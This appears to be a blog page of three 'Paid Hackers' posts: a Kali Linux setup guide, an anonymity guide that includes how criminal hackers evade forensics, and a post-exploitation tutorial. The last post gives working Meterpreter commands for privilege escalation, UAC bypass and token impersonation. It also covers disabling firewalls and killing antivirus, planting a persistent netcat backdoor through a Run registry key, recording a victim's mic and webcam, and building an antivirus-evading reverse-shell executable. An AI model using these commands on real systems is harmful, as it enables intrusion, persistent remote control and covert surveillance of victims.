Damn important Things to do after installing Kali Linux - By Paid Hackers

00:13
things to do after installing kali linux by paid hackers
With a percentage of the stuff I concentrate on, I get the opportunity to manufacture Virtual Machines, Raspberry PI's and different gadgets that run Kali Linux. For those that don't have the foggiest idea about this is a Linux Distribution particularly made for penetration testing and possibly a touch of hacking.

The last one I based was on my Lenovo tablet at home, deciding to run it as my essential working system and run Windows inside Virtual Machines as required.

To introduce Kali Linux just download the ISO from here, then either copy it to a DVD or a bootable USB drive. I like to utilize the USB alternative and utilize the "Universal USB Installer" device to make the bootable USB drive. There are huge amounts of excercises on the best way to introduce this so I will leave that for you to Google or Bing.

After I setup Kali Linux I like to roll out a couple of improvements to the system, to make it more usable for me. The accompanying rundown are things that I do.
  1. Change default SSH keys (if I used the Virtual Machine image)
  2. Update, Upgrade and Distribution Upgrade
  3. Fix Device Not Managed Error
  4. Change the Default Repository
  5. Enable Sound
  6. Install Chrome and Chromium
  7. Remove Iceweasal and Install Firefox
  8. Install Java
  9. Install Flash
  10. Install an Archive Manager
  11. Setup Tor
  12. Setup “Wine” to run Windows Applications
These things improve my experience and I can then utilize this as my essential operating system.

Change Default SSH Keys


At the point when utilizing the standard Virtual Machine Image offered, the "SSH" keys are the same which obviously for security reason you wouldn't need. To change them, we have to duplicate the first ones to keep them safe, yet produce new ones. To begin, explore to the accompanying folder and run the commands.
change default ssh keys on kali linux after installinh kali linux
1cd /etc/ssh
2mkdir original_ssh_keys
3mv ssh_host_* original_ssh_keys/

Now to generate the new keys we need to run the following command.

generating new keys in ssh in kalin inux after installing kali linux
1dpkg-reconfigure openssh-server

This will then make new H keys, so when we join over SSH it ought to request that we acknowledge the key and we ought to now have the capacity to remotely SSH to the Kali Linux machine (if the systems administration is set up.

In the event that you can't SSH then check the network and firewalls first and foremost, and afterward watch that you really have "openssh-server" introduced.

Update, Upgrade and Distribution Upgrade


This done very easily using the following command line:




update and upgrade and distribution upgrade after installing kali linux
1apt-get update

Once this has completed then you can run the upgrade by running the following command:

upgrade kali linux after installing kali lnux
1apt-get upgrade
 
To perform a distribution upgrade run the following command:

distribution upgrade after installing kali lnux
1apr-get dist-upgrade

You can run all of these command together using the following command:

updating, upgrading after installing kali lnux
1apt-get update && apt-get upgrade && apt-get dist-upgrade

Fix Device Not Managed Error


This is an issue that means you are unable to manage the network adapter using the Network Manager.
Fix Device Not Managed Error after installing kali linux

To resolve this you will need to run the following command to open the “NetworkManager.conf“.

resolve error in network after installing kali linux
Once this is open simply change the “managed=false” to be “managed=true“.




fix error in kali linux after installing kali linux
fix error in kali linux after installing kali linux

Once this is done the core Network Manager will be able to manage the device.

Change the Default Repository


The core repositories that Kali Linux uses for updates, is set to the following:

Change the Default Repository after installing kali linux

To change them run the following command:

Change the Default Repository after installing kali linux
1leafpad /etc/apt/source.list

I set them to these instead, giving me better updates and selection of components.

Change the Default Repository after installing kali linux
1## Regular repositories
2deb http://http.kali.org/kali kali main non-free contrib
3deb http://security.kali.org/kali-security kali/updates main contrib non-free
4## Source repositories
5deb-src http://http.kali.org/kali kali main non-free contrib
6deb-src http://security.kali.org/kali-security kali/updates main contrib non-free
As with a previous step, I normally run an update, and upgrade after modifying the sources.

Enable Sound


To enable sound on Kali, you first need to install the required components. To do this we need to run the following command.

Enable Sound at boot after installing kali linux
1apt-get install alsa-utils -y

Next we need to bring up the settings for the sound, and then enable it.

Enable Sound at boot after installing kali linux
Enable Sound at boot after installing kali linux


Install Chrome and Chromium


The easiest way to install Chrome is to really just download the latest version from the chrome site. https://www.google.com/chrome
It should then prompt you to install the “*.deb” version of Chrome, I choose the following version.

Install Chrome and Chromium after installing kali linux

Once it is download, you need to run the following command.

Install Chrome and Chromium after installing kali linux
1dpkg -i google-chrome-stable_current_amd64.deb

This will install Google Chrome, once it is done, click to launch it.

Install Chrome and Chromium after installing kali linux
If you get an error like this when launching Chrome you will need to make some changes.

Install Chrome and Chromium after installing kali linux
Install Chrome and Chromium after installing kali linux
1nano /opt/google/chrome/google-chrome
Scroll to this line and modify.

Install Chrome and Chromium after installing kali linux
Install Chrome and Chromium after installing kali linux
Then when you try it again it should now load as expected.
I also like to run Chromium as a backup, plus it gives me a different version of the Chrome base to use in testing. This can be done by running the following command.

Install Chrome and Chromium after installing kali linux
1apt-get install chromium
Once it is installed if you try to run it and you get the same error as Chrome did then you need make the following changes.

Install Chrome and Chromium after installing kali linux
1nano /etc/chromium/default
You now need to change the following line.

Install Chrome and Chromium after installing kali linux
Install Chrome and Chromium after installing kali linux

Remove Iceweasel and Install Firefox


Even though “Iceweasel” is technically Firefox, I found it much better to actually install the latest “Firefox Browser“, as this is one that most people would be using instead of “Iceweasel“.
Firstly we need to remove “Iceweasel” using the following command.

Remove Iceweasel and Install Firefox in kali linux after installing kali linux
1apt-get remove iceweasel
Now we need to add a source so we can be able to run the “apt-get” command to install it.

Remove Iceweasel and Install Firefox in kali linux after installing kali linux
1echo -e "\ndeb http://downloads.sourceforge.net/project/ubuntuzilla/mozilla/apt all main" | tee -a /etc/apt/sources.list > /dev/null
Once done we need to import the “GPG” key using this command.

Remove Iceweasel and Install Firefox in kali linux after installing kali linux
1apt-key adv --recv-keys --keyserver keyserver.ubuntu.com C1289A29
Now we can perform an update and tell it to install “Firefox”

Remove Iceweasel and Install Firefox in kali linux after installing kali linux
1apt-get install firefox-mozilla-build
Once it is installed you should be able to run it without any errors.

Remove Iceweasel and Install Firefox in kali linux after installing kali linux
Of course I renamed it from its original one.

Install Java

We all know that even with all the issues Java has had recently, that a ton of devices still use it and we need it too.
To install it, firstly visit the site and download the latest version.
http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1880260.html

installing java in kali linux after installing kali linux
Extract the downloaded file.

installing java in kali linux after installing kali linux
1tar -xzvf jdk-7u71-linux-x64.tar.gz
Move this to the “/OPT/” directory and then change to that directory.

installing java in kali linux after installing kali linux
1mv jdk1.7.0_71/ /opt/
installing java in kali linux after installing kali linux
1cd /opt/jdk1.7.0_71/
Now we need to run the following commands.

installing java in kali linux after installing kali linux
1update-alternatives --install /usr/bin/java java /opt/jdk1.7.0_71/bin/java 1
2update-alternatives --install /usr/bin/javac javac /opt/jdk1.7.0_71/bin/javac 1
3update-alternatives --install /usr/lib/mozilla/plugins/libjavaplugin.so mozilla-javaplugin.so /opt/jdk1.7.0_71/jre/lib/amd64/libnpjp2.so 1
4update-alternatives --set java /opt/jdk1.7.0_71/bin/java
5update-alternatives --set javac /opt/jdk1.7.0_71/bin/javac
6update-alternatives --set mozilla-javaplugin.so /opt/jdk1.7.0_71/jre/lib/amd64/libnpjp2.so

Install Flash


Whether you like Flash or not, there are still many sites that need Flash, as well as a few occasions where you would need it during testing. To install it, use the following command.

install flash in kali linux after installing kali linux
1apt-get install flashplugin-nonfree

Once this has completed, you need to then run the following command.

install flash in kali linux after installing kali linux
1update-flashplugin-nonfree --install
It should now be installed.

Install an Archive Manager


Kali Linux does not come with a great Archive Manager with a GUI, so I choose to install the following using the command line.

Install an Archive Manager in kali linux after installing kali linux
1apt-get install unrar unace rar unrar p7zip zip unzip p7zip-full p7zip-rar file-roller -y

Setup Tor


When working with Kali Linux you may need to hide the traffic, force it to come from a different country or just need some privacy then we can install “Tor“. This can be installed using the following command.

setup and installing tor in kali linux after installing kali linux
1apt-get install tor

Once this is installed successfully we now need to download the “Tor” client from the following link: https://www.torproject.org/dist/torbrowser/4.0.2/tor-browser-linux64-4.0.2_en-US.tar.xz
We then need to extract the downloaded file using the following command, change the directory to the newly created “tor-browser_en_US” folder and then run the “./start-tor-browser”

setup and installing tor in kali linux after installing kali linux
1tar xf tor-browser-linux64-4.0.2_en-US.tar.xz

If you get an error about running as root then you need to make a change to the “start-tor-browser” file. Open the file in “leafpad“., and comment out the section listed below.

setup and installing tor in kali linux after installing kali linux
1leafpad start-tor-browser
3

This should now launch as expected, however if you then get an error like this, you need to run the following command within the “tor-browser_en_US”

setup and installing tor in kali linux after installing kali linux
setup and installing tor in kali linux after installing kali linux

1chown -R root /root/Downloads/tor-browser_en-US/Browser/TorBrowser/Data/Tor
Once done this should now load as expected.
setup and installing tor in kali linux after installing kali linux
setup and installing tor in kali linux after installing kali linux
setup and installing tor in kali linux after installing kali linux


Setup “Wine” to run Windows Applications


“Wine” allows us to install certain Windows Applications and run then natively on Kali Linux. This useful for things like “Notepad++” which is a great tool to be able to use, I also like to install “Soap UI” for testing too. To set it up we first need to make our system a “Multi Architecture” system by running the following command.

Setup “Wine” to run Windows Applications after installing kali linux
1dpkg --add-architecture i386

This should take a second to run, then we need to update the system using the standard “apt-get update” command. Once done we can then run the following command to install “Wine“.

Setup “Wine” to run Windows Applications after installing kali linux
1apt-get install wine-bin:i386

Once it has completed, we then need to configure it to run in the operating system of our choice. For me I like to use “Windows 7“. Open the main menu, select “System Tools”, then access the “Wine Configuration” item.


Setup “Wine” to run Windows Applications after installing kali linux

Once this has loaded you should have the configuration tool open, where you can change the “Windows Version” from the default of “Windows XP” to whatever you want from the menu.
Setup “Wine” to run Windows Applications after installing kali linux

Now apply those changes and it should close. To test this I am going to download “Notepad++” from here: http://download.tuxfamily.org/notepadplus/6.7/npp.6.7.Installer.exe
Once it is downloaded, in the command prompt use the following command.

Setup “Wine” to run Windows Applications after installing kali linux
1wine npp.6.7.Installer.exe

It should then launch the installer like this.

Setup “Wine” to run Windows Applications after installing kali linux
Setup “Wine” to run Windows Applications after installing kali linux
Setup “Wine” to run Windows Applications after installing kali linux

It should then launch as you would expect on Windows.

Setup “Wine” to run Windows Applications after installing kali linux
With this introduced, we are then ready to introduce different Windows Applications, but not every one of them but rather helpful ones that we require. Office 2007 introduces fine yet others have a couple issues.

When all the above are finished my Kali Linux is currently better to utilize. Different things I additionally not reported here but rather will in future post are:
  1. Virtual box Installation
  2. “Lazykali” Script Setup
  3. Enabling Multi-Factor to SSH using Google Authenticator Service
  4. Install other utilities to make my life easier
                              Sincerely Paid hackers
Damn important Things to do after installing Kali Linux - By Paid Hackers Damn important Things to do after installing Kali Linux - By Paid Hackers Reviewed by amit on 00:13 Rating: 5

Anonymity guide - How to be safe on the web - By Paid Hackers

19:52
anonymous hacking online by paid hackers
anonymous hacking online by paid hackers
Anonymity guide - How to be safe on the web

# Summary #

1) Introduction
2) Methods
3) Explanations
4) Preventions
5) Conclusion

1) Introduction

There are many reasons to go anonymous online - preventing tracking from authoritarian regimes in certain countries, maintaining privacy from companies who track online usage, or simply a desire to remain anonymous. Some people want to avoid company or school tracking. In this paper you will learn how to be safe and use some methods to be anonymous.

2) Methods

Web Proxies: Web proxies is browsing anonymously via another site:
 http://goproxy.nl/
http://www.hidemyass.com/
 http://www.kproxy.com/

Proxies: Proxies are used mainly for security purposes and IP Address, it may be also used to:
- speed up the loading of web pages
- open blocked sites
- bypass IP controls

VPNs: It enables a computer to send and receive data across shared or public networks as if it is directly connected to the private network, while benefiting from the functionality, security and management policies of the private network. A VPN is created by establishing a virtual point-to-point connection through the use of dedicated connections, virtual tunneling protocols, or traffic encryptions.

Paid VPNs:

- http://www.hidemyass.com/vpn/
- https://proxpn.com/#pricing
- http://www.provpn.co.uk/
- http://hsselite.com/

Free VPNs:
- http://hotspotshield.com/
- http://www.vpnbook.com/freevpn
- http://www.vpngate.net/en/download.aspx
- http://freevpn.me/accounts

Web Browsing:

- Pirate Browser http://piratebrowser.com/ (Based on Tor network)
- Tor Network https://www.torproject.org/

3) Explanations

# How to use a Proxy:

You can configure your browser to use some proxy server. To do so first of all go to hidemyass.com and note down a highly anonymous IP. Now you need to configure your browser to use this IP. Follow these navigations according to the browser you are using:

For Mozilla:
- Click on ‘Tools’, then ‘options’. Under the ‘Advance’ tab select ‘Network’ click ‘Settings’ select ‘Manual proxy configuration’ and Enter the IP noted from the proxy list.

For Chrome:
- Click on ‘Customize and control’ button then click on ‘options’, select ‘Under the hood’ and click on ‘Change Proxy Settings’ the Internet option dialog box will appear, click on ‘LAN Settings’ tick ‘Use proxy server for LAN’ and enter the IP that you noted from IP-list as mentioned above.

For Internet Explorer:
Haha, he sucks! Internet explorer serves to download Firefox \(^_^)/

# How to use TOR: 

Tor stands for "The Onion Router." To keep things basic, the TOR network keeps you anonymous by sending the data sent out from your computer through multiple "computers," or relays around the globe before going to it's intended location. This makes it impossible (if used right) to track where the information came from.
Once you have set up and configured your Tor Browser bundle, you are done. Yep, that's it. You can now use Tor like you would normally use any other browser and feel much safer and secure about keeping your identity private. You will realize that web pages load a little slower than normally, but this is because of the encryption process and the time it takes for your packets of data to get sent and received. This slight increase in loading times is definitely worth the amount of privacy and anonymity you get in return.
You can click on "Settings" to configure yout network:
# How to configure your browser:
A lot of addons offers the possibility to setup proxies in your settings, here is a list of free addons for

FireFox:
User agent switcher: - https://addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/
Foxy Proxy: - https://addons.mozilla.org/fr/firefox/addon/foxyproxy-standard/
Proxy Selector: - https://addons.mozilla.org/fr/firefox/addon/proxy-selector/
One click Proxy IP: - https://addons.mozilla.org/fr/firefox/addon/one-click-proxy/
Auto Proxy: - https://addons.mozilla.org/en-US/firefox/addon/autoproxy/
Best Proxy Switcher: - https://addons.mozilla.org/fr/firefox/addon/best-proxy-switcher/

For Chrome:
ProxySwitchySharp: https://chrome.google.com/webstore/detail/proxyswitchysharp/dpplabbmogkhghncfbfdeeokoefdjegm
FoxyProxyforChrome: https://chrome.google.com/webstore/detail/foxyproxystandard/gcknhkkoolaabfmlnjonogaaifnjlfnp
FastProxy: https://chrome.google.com/webstore/detail/fastproxy/bkjcdfmmpdfjohenejbkaaafkoeknjnh
FalconProxy: https://chrome.google.com/webstore/detail/falconproxy/gchhimlnjdafdlkojbffdkogjhhkdepf

For Internet Explorer: Haha!

"Internet explorer has encountered a problem and needs to close, We are sorry for the inconvenience. [Send Error Report] [Don't Send] [Uninstall this bullshit]"

To test your protection, an useful website is available to see if your proxy works or not: http://test.anonymity.com/

# How do hackers stay anonymous:

 Hacker/crackers who perform criminal activities and still they manage to flee away, usually implement highly sophisticated combination of techniques. They use the options that are discussed above but in addition they implement some other methods too, to achieve maximum anonymity. Few of those issues are

[+] Virtual OS: Virtual machine is a guest operating system running on the top of host operating system. virtual OS is used to attain high anonymity as usage of guest OS allows user to easily get rid of log file, and gives flexibility to manipulate the MAC address. The most popular virtual machines are VMware and Virtual Box.

[+] Spoofing MAC address: Every Network interface card has a unique MAC address assigned to it, which is used by forensic to trace hacker. Hence spoofing of MAC address makes it hard to trace a hacker. Mac address can be spoofed manually or by using some software like this.

[+] TOR’s live CD: Use of live cd is another good option that can be used to add to the anonymity.Tor’s live cd named as ‘tails’ can be downloaded from TOR website. All the connections in tails goes through TORs networks and it leaves no evidence of whatever you’ve done.

4) Preventions

This part gives general advice on safely using email,web...etc because they can easily breach your privacy! Banking, shopping, and interacting online ( if you want to know, how hackers hack bank account then click here) is the ease with which other people can now steal your information. To stay safe on the internet, use the following strategies.

Your connection: 
- Always check for secure transaction info. The best companies will have many security devices in place. You may see a gold lock at the bottom of the page to indicate a secure site. When giving any bank details or other information, make sure the connection is secure (URLs like this begin with https:// instead of http://) and the site is trustworthy.
 - Make sure you are using (and regularly updating) an anti-virus program, an anti-spyware program, and a firewall.
 - Use different passwords for every site

Your identity:
- Keep your eyes peeled for online scams.
- Do not give out your full name, address, or phone number to anyone online that you don't trust or know in person.
- Block or ignore unwanted users.
- Keep your primary email address private.
- Use a fake name.
- When you change, really change! (name, adress, language, email, social network...)
- Don’t use lazy passwords.
- Watch what you "say" online.

Downloading:
- Never open e-mail attachments from strangers unless you can trust them and have security settings on your computer.
- Don’t click on pop-up messages
- Don’t follow links in unexpected emails
- Only download files or software from sites that have been rated/verified by trusted sources.

How your anonymity can be breached?
- IP adress
- Cookies
- Browser fingerprint
- Spyware
- PC history (in case of a computer forensic investigation)

5) Conclusion

Using the Internet, you never will be able to protect your privacy 100%. But by choosing your provider wisely you can achieve enough privacy to protect yourself from spying investigators and even from governments. If used these techniques in proper combination, very high anonymity can be achieved.
                                 Sincerely Paid hackers
Anonymity guide - How to be safe on the web - By Paid Hackers Anonymity guide - How to be safe on the web - By Paid Hackers Reviewed by amit on 19:52 Rating: 5

Postexploitation - By Paid Hackers

18:35
post exploitation in kali linux using meterpreter in metasploit

So we have successfully exploited the target and managed to gain access to it. Now we are into the
postexploitation phase, which is the last phase of our penetration testing process. In this phase, we
will learn to exploit our targets further, escalating privileges and penetrating the internal network
even more. Meterpreter, which is the heart of this tutorial, makes the postexploitation process
much easier.

Meterpreter contains many built-in scripts written in ruby; we can also add and modify meterpreter
scripts based on our requirements or just for exploration.

The goals of this tutorial are as follows:


  • Gaining situation awareness in Windows/Linux after target compromise
  • Using Meterpreter scripts to perform reconnaissance
  • Using various methods for escalating privileges
  • Maintaining access
  • Penetrating the internal network further
Acquiring Situation Awareness

Immediately after compromising a host, you need to gain information about where the host is
located on the internal network and its functionality, which would include hostname, interfaces,
routes, and services that our host is listening to. The more you are familiar with the operating
system the more you can enumerate.

Enumerating a Windows Machine

Windows would be one of our common targets, since it is the most used operating system in the
corporate environment. Since most of you are familiar with Windows, it would be easy to enumerate
it. Our main goals would be to enumerate the network, mainly where the host is, find out what
other hosts are reachable from our compromised host, the interfaces, and the services.
So let’s assume that we have already compromised a Windows host, say, by using our
favorite ms08 _ 067 _ netapi exploit, and opened up a meterpreter session. From within
our Meterpreter session, we can type the “shell” command, which will open our command
prompt.
So here are some of the Windows shell commands to gain situation awareness:

ipconfig —This command will list all the interfaces, the IP addresses, gateways, and the
MAC addresses.

ipconfig/all —This command will list additional information about the interfaces such as
DNS servers.

ipconfig/displaydns —This command will display the DNS cache. The screenshot
shows the A record of the host rafayhackingarticles.net.

arp –a —This command displays the Arp cache; using it you can figure out reachable
systems from our hosts.

netstat –ano —A very useful command, this can be used to list all the connections established
from the current computer on a particular port.

Route Print —This will display the routing table of our computer; the netstat –r
command can also be used for this.

tasklist/svc —This is a very useful command to enumerate all the services running on our
target computer. This knowledge would be very helpful for us when we try to bypass the antivirus.

net start/net stop —The net start command will display all the running services on the target computer. We can stop a running service, for example, AVG antivirus, by using the net stop command. The syntax for net start/net stop commands are as follows:

net start <service to start>
net stop <service to stop>

netsh —netsh is a very useful command line utility for both network administrators and
hackers/penetration testers. It can be used to gather information about firewall rules and so
on. For example, we can turn off a firewall by issuing the following command:
netsh firewall set opmode disable

But we will require administrative privileges to disable the firewall. We will learn about privilege
escalation later in the tutorial.

Enumerating Local Groups and Users

The following two commands would be really helpful to enumerate local groups and users:

net user —This will list all local users such as guests and administrators.

net localgroup —This command will list all the local groups. For example, if we
want to display all the local groups for administrators, we have to type “net localgroup
administrators.”

net user \domain —This command would list users in a group.

net user \domain —This command would list all the users in a particular domain. It is
very useful for identifying domain admins.

Enumerating a Linux Machine

Compared to Windows it’s less likely that you will come across a Linux host in your penetration
tests. so by now you must be familiar with some of the commands for enumerating a
Linux-based host.

ifconfig —This is the same as the ipconfig command; it displays interfaces and associates
IP/MAC addresses.

pwd —This lists the current ID.

ls —This lists the files in a particular directory.

find —This command is useful if you want to find a particular file from a particular path.
find <path> -name filename

who/last —This command displays the users currently logged in on a machine; the last
command displays the login history.

whoami —This command tells your current privileges on a machine.

uname –a —This displays information about the kernel version, and could be very useful
when selecting Linux-based privilege escalation exploits.

touch —This is used to create a 0 byte file. However, this will only work if you have write
permissions on the current directory.

cat/etc/passwd —The /etc/passwd file can be used to enumerate local users on a system;
the good thing about this file is that it is readable by any low-privilege user.

cat/etc/hosts/ —The /etc/host file is used to perform domain to IP mapping.

cat/etc/group/ —The /etc/group file is used to enumerate all the local groups.

cat/etc/resolv.conf —This file is used to locate the name servers on a local machine.

Enumerating with Meterpreter

Meterpreter can also be used to acquire situation awareness as it has a built-in capability to execute
OS commands. I would recommend that you mostly use Metasploit for enumeration and data
mining. Alternatively, you can switch between the meterpreter shell and the Windows shell. Let’s
take a look at some of the commands in Meterpreter.

We type the help command to see all the available commands in meterpreter. The list would
contain different types of commands to accomplish a specific task. Let’s talk about a few of them
important for acquiring system awareness.

sysinfo —The sysinfo command provides useful information about our target.

networking —The networking commands are identical to what we would
use on a Windows/Linux shell. These commands include ipconfig, ifconfig, portfoward,
and route.

Identifying Processes

The following commands could be used to identify a process user IDS.

PS —This is the same as the tasklist command; it will display all the processes.

getuid —This will return the current uid of the user.

getpid —This will print the current process id.

Interacting with the System

The commands for interacting with system using meterpreter are identical to what we use in
linux on daily basis. However, in meterpreter these commands can also be used to interact with
windows systems as well. Here are the basic commands:
cd —Used to navigate between directories.
cat —Used to output contents of a file on the screen.
search —Used to search a particular file.
ls —Similar as in Linux, this is used to list files of a directory.

User Interface Command

The user interface command can be used for various tasks; for example, you can record the victim’s
mic, change the victim’s desktop, and take a screenshot of the current desktop to see what the
victim is doing. In your real-world penetration tests you can include screenshots of the desktop in
your reports to help a nontechnical person understand your report better.
enumdesktops —Prints information about all the running desktops.
screenshot —Used to display screenshot of the current machine to see what our target is
currently doing.
record _ mic —Records the microphone of the victim, in case he is using one.
webcam _ list/webcam snap —Used to list available webcams, and the webcam snap
software is used to take a snapshot of the victim.
Thus, we have listed some of the interesting commands from meterpreter to gain situation awareness
right after compromising a target. We will start exploring other features of Meterpreter as
soon as we get to the more advanced topics.

Privilege Escalation

Once we have gained situation awareness, our next goal would be to escalate our privileges to
the NT Authority SYSTEM, which has the highest privileges on a Windows machine, or at least
we should try to get administrator-level privileges. Most of the commands that we use to further
penetrate the network would require administrator-level privileges to run, but before that we will
talk about making our meterpreter session stable so that it does not close.

Maintaining Stability

The Meterpreter session often dies or gets killed, because the process that the meterpreter is
running on closes. For example, let’s say we used the aurora exploit to compromise a victim
running Internet Explorer 6. Whenever the victim closes his browser, our meterpreter session
will die.
To mitigate this issue we would need to migrate to another stable process such as explorer.exe
or svchost.exe. Luckily, we have a built-in script inside of Metasploit that can help us migrate to
another process. For this, we can use a post module called migrate, which is located in the post/
windows/manage/migrate directory. The command is as follows:

meterpreter> run post/windows/manage/migrate

If you would like to migrate to a specific process, first issue the “ps” command to check for
PIDs.
We should note down the PID of the process that we would like to migrate to, for example,
svchost.exe, which happens to be 856. We will execute the following command from Meterpreter:

meterpreter> Migrate 856

If the process has successfully migrated, the output would be something like the following:

Escalating Privileges

Now that we have moved to a secure process and we are pretty much sure that our session won’t
close during our privilege escalation process, we should attempt to escalate the privileges. The fastest
way of escalating privileges with meterpreter is by using the “getsystem” command, which
consists of many techniques. If one technique fails it will try another one and will report what
technique succeeded in escalating the privileges.
We can type the command getsystem –h to see what type of techniques meterpreter uses
to escalate the privileges.
You can use a specific technique by using the –t parameter followed by the technique number,
but I would recommend that you pass the command without parameter so it can try all the techniques
to save time.

Bypassing User Access Control

User access control (UAC) is a security feature that was introduced from Windows Vista and
onward. The purpose of introducing UAC was to prevent malware from compromising the system.
It accomplishes this by assigning normal user privileges to an application even if a user has
administrator privileges. The application then has to be approved by an administrator for it to
make changes to your computer.

The UAC can be configured easily depending upon the operating system you are using; all
you need to do is search for the keyword “uac” using the search box. The default level of UAC is
level 3, which is when it will notify when programs try to make changes to your computer.

If we try to use the “getsystem” technique in any of the operating systems with
UAC enabled, it will fail by default. Luckily, we already have a postexploitation module in
Metasploit named “bypassuac”, which could help us bypass user access control to escalate
our privileges.

So for the sake of demonstration we assume that you have a meterpreter session on a Windows
7 machine. From our current meterpreter session we will run the following command:

meterpreter> run post/windows/escalate/bypassuac

Now we will try to use the “getsystem” command again, and it will escalate our privileges.
We will use “getuid” to check our privileges and the “sysinfo” command for meterpreter to
display information about the current system.

Impersonating the Token

The concept of an access token is very similar to the concept of a cookie that is used to authenticate
a user on a particular website. When a user is authenticated on a Windows machine an access
token is assigned, which contains information about login details, user privileges, etc. The access
tokens for Windows are of two types:

Primary token —The primary token can be associated with a process and is created within the
operating system using privileged methods.

Impersonation token —An impersonation token can let a process act as another user; it can only
be associated with threads. This is the type of token that we will be abusing for our privilege
escalation process.

We can use a valid impersonation token of a specific user, say, administrator, to impersonate that
user without any authentication. Incognito is a meterpreter module that can help us with this
task. We can load it by using the following command:
use incognito
Next, we would run the “help” command to see all the options; this will load up the meterpreter
help menu, but you will also see Incognito commands along with their description at the
bottom.
Before impersonating a token we need to take a look at the available tokens. To see all the
available tokens, we use the list _ tokens command followed by a –u parameter (which lists
the tokens available under a current user context). With SYSTEM-level privileges you can see the
list of all tokens, but with administrator or lower privileges you cannot.

list_tokens –u

As we can see, we have the administrator token available, which looks interesting; so let’s
try to impersonate this token and escalate our privileges. The command for impersonating is as
follows:

meterpreter> impersonate_token ABDUL-CB7402ACD\\Administrator

Note that we have added an additional backslash, “\” before “Administrator” for it to execute
properly.

Escalating Privileges on a Linux Machine

The methods we talked about would only work on a Windows-based operating system, so you
must be wondering why we didn’t discuss escalating privileges on a Linux box. The reason
is that there are specific privilege escalation exploits for a Linux-based operating system
depending upon the kernel version that our target is using. The getsystem inside meterpreter
is less likely to work on them. I reserved this part for the web hacking chapter, where we will
learn about server hacking.

Maintaining Access

So now we have managed to escalate our privileges to either administrator level or SYSTEM level.
Our next step would be to make it easier for us to access the system any time we want.
So far, we have managed to maintain stability, but we haven’t managed to establish persistency.
Whenever the target computer reboots, the process on which we have attached our
meterpreter session will be closed and we would lose access. So one might ask, why not access
the system by using the vulnerability we previously exploited? Well, yes, we can do that, but it is
not the best approach, since over time applications get updated, patches are applied, and, hence,
vulnerabilities are patched. What we want is an easier way to access our system, for which there
are better approaches. Therefore we don’t want to go through all the hard work of compromising
the target again.
We focus on two different strategies for maintaining access. They are discussed next.

Installing a Backdoor

Backdooring a system is one of the best approaches in my opinion since it’s stealthy most of the
times. What we want to make sure with installing a backdoor is that our backdoor is persistent and
that we are able to connect with our backdoor even when the system reboots. In order to accomplish
this we would make changes to the registry.

Cracking the Hashes to Gain Access to Other Services

The second approach we would talk about is obtaining the hashes and then cracking them to gain
access other services such as remote desktop, VNC, or telnet. This approach is not a very stealthy
approach as the administrator may notice the changes you make. Considering that many users are
allowed access to that particular service, this might work for us too.

Backdoors

Let’s talk about backdoors first. There are several backdoors that we would manually upload to
our target machine and then make changes to the registry so that we can access it even when the
computer reboots. But before installing a backdoor, we should make sure that we have turned
off the victim’s security features such as the firewall and antivirus. Another way around this is to
simply encode our backdoor so that it evades the antivirus. Let’s see how to go about with these
approaches.

Disabling the Firewall

The reason we want to disable the firewall is that we don’t want it to interrupt us while we perform
our postexploitation process.
From our meterpreter shell, we would issue the “shell” command to launch Windows command
prompt. From the Windows command prompt we issue the following command to turn
off the firewall:

netsh firewall set opmode disable

Killing the Antivirus

The reason we want to disable the antivirus is that we don’t want it to identify/delete our backdoor;
we want to remain undetected while conducting our penetration test. We can check for
the installed antivirus by typing the “net start” command and “tasklist/svc” from the
command prompt to check for the process the antivirus is running.

Output of “net start” command
Output of “tasklist/svc” command

Now we can use the “taskkill” command to kill a particular process or let meterpreter
automate it for us. In meterpreter, we can find a script named “killav” that will automatically
kill all the processes associated with an antivirus. Let’s view the contents of the script by using the
“cat” command followed by the path of the script:

cat/opt/metasploit/msf3/scripts/meterpreter/killav.rb

From the output we can see that the script works by closing a process associated with an antivirus.
Though it covers lots of antiviruses, it is possible that the victim’s antivirus is not in the list;
in that case you need to manually identify the antivirus process and then add that process name to
the script for it to work. In this way you can also help the community improve the script.
To run this script, all we need to do is execute the following command from the meterpreter
shell:

meterpreter>kill av

Netcat

Netcat is one of the oldest backdoors that exist. By uploading netcat to the victim’s computer we
would open up a port on a victim on which it would listen to connections, and from our attacker
machine we would simply connect with that port to obtain a command prompt. The netcat is
located in the /pentest/windows-binaries/tools/ directory in BackTrack.
Command:

meterpreter>upload/pentest/windows-binaries/tools/nc.exe C:\\windows\\system32

This command would upload netcat to the system32 directory.
Next, we need to set up netcat to load the backdoor on system boot, so we can connect it every
time we want; to do that we would edit the following registry key:

meterpreter > reg setval –k HKLM\\software\\microsoft\\windows\\currentversion\\run –d ‘C:\windows\system32\nc.exe -Ldp 4444 -e cmd.exe’–v netcat

So the command basically sets the registry key to netcat, which on every reboot listens
for connections on port 4444. We can now connect to our target machine from our attacker
machine by netcat, and it will bring the command prompt.
Command:

nc –v <targetiP> <port>

MSFPayload/MSFEncode

Using netcat as a backdoor is not a very stealthy technique as most of the antiviruses as well as
system administrators or users can easily recognize its presence. Also, we need a more powerful
shell such as meterpreter as with netcat we would only be able to access the command prompt.
To solve both of our problems we use a more powerful backdoor that can be generated with the
help of msfpayload and msfencode. We use msfpayload to generate a backdoor and msfencode to
encode the payload so it can bypass any antivirus restrictions.

Generating a Backdoor with MSFPayload

Msfpayload is a command line tool used to generate shell codes; it has the capability to
generate shell codes in multiple forms. For this particular demonstration I will use msfpayload
to generate a backdoor in exe. Thus whenever the victim executes it, we would have a reverse
connection.
The command msfpayload –l will display a list of all the payloads that we can use:

Since our target is a Windows operating system, we can use any of our Windows-based payloads.
For the sake of this demonstration we use windows/meterpreter/reverse _ tcp.
Let’s view its options.
Command:

msfpayload windows/meterpreter/reverse_tcp O

The O parameter is used to list information about the module. As you can see we need
LHOST and the lport. The default is set to 4444; in case we don’t define one it will automatically
set it to 4444. We will also use an additional parameter “X” to output the payload as an
executable.
Command:

msfpayload windows/meterpreter/reverse_tcp lhost = 192.168.75.144 lport =4444 X >/root/Desktop/backdoor.exe
The executable would be generated on the desktop with the name “backdoor.exe”.

MSFEncode

Next we would use msfencode to encode our payload. We can see the list of encoders available on
msfencode by issuing the following command.

root@bt> msfencode –l

We can use msfencode simultaneously with msfpayload by issuing the following command:

msfpayload windows/meterpreter/reverse_tcp LHOST = 192.168.75.144 LPORT =4444 R | msfencode –e x86/shikata_ga_nai –t exe >/root/Desktop/backdoor.exe

